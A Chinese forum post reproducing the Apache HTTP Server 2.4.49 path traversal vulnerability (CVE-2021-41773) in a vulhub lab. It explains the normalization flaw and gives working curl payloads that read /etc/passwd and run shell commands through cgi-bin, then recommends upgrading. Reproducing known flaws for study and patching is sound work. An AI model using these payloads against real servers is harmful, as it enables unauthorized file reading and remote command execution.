用户名
Email
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
应用中心
帖子
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
IT评测·应用市场-qidao123.com技术社区
»
论坛
›
安全
›
网络安全
›
Apache Http Server 路径穿越漏洞复现(CVE-2021-41773 ...
Apache Http Server 路径穿越漏洞复现(CVE-2021-41773)
莫张周刘王
论坛元老
|
2023-6-13 20:30:50
|
显示全部楼层
|
阅读模式
楼主
主题
1806
|
帖子
1806
|
积分
5418
Apache Http Server 路径穿越漏洞复现
Apache Http Server 路径穿越漏洞概述
Apache Http Server 简介
Apache HTTP Server(简称 Apache)是 Apache 软件基金会的一个开放源码的网页服务器软件,可以在大多数电脑操作系统中运行。由于其跨平台和安全性,被广泛使用,是最流行的 Web 服务器软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl/Python 等解释器编译到服务器中。
Httpd(即 HTTP Daemon ,超文本传输协议守护程序的简称)是一款运行于网页服务器后台,等待传入服务器请求的软件。HTTP 守护程序能自动回应服务器请求,并使用 HTTP 协议传送超文本及多媒体内容。
CVE-2021-41773
CVE-2021-41773 是一个影响 Apache HTTP Server (httpd) 的安全漏洞,影响版本为 2.4.49 版本。它是一个路径遍历漏洞,如果文档根目录以外的文件不受 require all denied 保护,则攻击者可以访问这些文件。
同时,若 Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。
漏洞影响
Apache Http Server 2.4.49 引入。
Apache Http Server 2.4.50 未完全修复(CVE-2021-42013)。
Apache Http Server 路径穿越漏洞原理
在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。
当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。
如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,攻击者可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。
Apache Http Server 路径穿越漏洞复现
下面利用 vulhub 开源漏洞靶场搭建漏洞环境,通过使用攻击机遍历靶机文件并且远程执行命令复现这一漏洞。
搭建 Apache 服务器
登入作为靶机的虚拟机。
执行命令 ip a ,获取靶机 ip 为 10.0.2.15 。
下载 vulhub 后,执行以下命令搭建 docker 环境。
cd vulhub/httpd/CVE-2021-41773
sudo docker-compose up -d
复制代码
显示
表明搭建完成。执行命令 sudo docker ps 可以查看正在运行的 docker :
搭建完成后,使用浏览器访问 http://10.0.2.15:8080/ ,即可看到 Apache 默认 It works! 页面:
则 Apache 服务器搭建完成。
复现攻击
登入作为攻击机的虚拟机。
遍历文件
执行命令
curl -v --path-as-is http://10.0.2.15:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
复制代码
可见,成功读取到 /etc/passwd :
在靶机中访问此文件,确认攻击机成功读取到 passwd :
远程执行命令
在攻击机中执行命令
curl -v --data "echo;id" 'http://10.0.2.15:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
复制代码
可见,成功执行 id 命令:
通过远程执行命令,访问 /etc/passwd
curl -v --data "echo;cd /etc && cat passwd"
\ 'http://10.0.2.15:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
复制代码
成功读取到 passwd :
Apache Http Server 路径穿越漏洞修复
升级到 Apache HTTP Server 2.4.51 及以上版本。
Reference
[1] Apache HTTP服务器 - 维基百科,自由的百科全书 (wikipedia.org) ,
https://zh.wikipedia.org/wiki/Apache_HTTP_Server
[2] Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773),
https://www.bilibili.com/video/BV1dU4y1f7x1
[3] Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773),
https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
[4] Apache 2.4.49 (CVE-2021-41773) 、 2.4.50 (CVE-2021-42013) 检测工具 (qq.com),
https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488695&idx=1&sn=93cc8e0b903e073b2ec5f56baae05c8c
[5] Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project,
https://httpd.apache.org/security/vulnerabilities_24.html
[6] 【漏洞通告】Apache HTTPd 2.4.49 路径穿越与命令执行漏洞(CVE-2021-41773) (aliyun.com),
https://help.aliyun.com/noticelist/articleid/1060919610.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
回复
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
莫张周刘王
论坛元老
这个人很懒什么都没写!
楼主热帖
06、etcd 写请求执行流程
网上书店管理系统项目【Java数据库编程 ...
软件测试项目实战经验附视频以及源码【 ...
【云原生】三、详细易懂的Docker 容器 ...
如何用同一套账号接入整个研发过程? ...
四、WinUI3下TitleBar的自定义
DevOps工具选型,什么才是中小企业的最 ...
面向大规模神经网络的模型压缩和加速方 ...
攻防世界pwn题:实时数据检测 ...
c# sqlsugar,hisql,freesql orm框架全 ...
标签云
集成商
AI
运维
CIO
存储
服务器
登录参与点评抽奖加入IT实名职场社区
下次自动登录
忘记密码?点此找回!
登陆
新用户注册
用其它账号登录:
关闭
快速回复
返回顶部
返回列表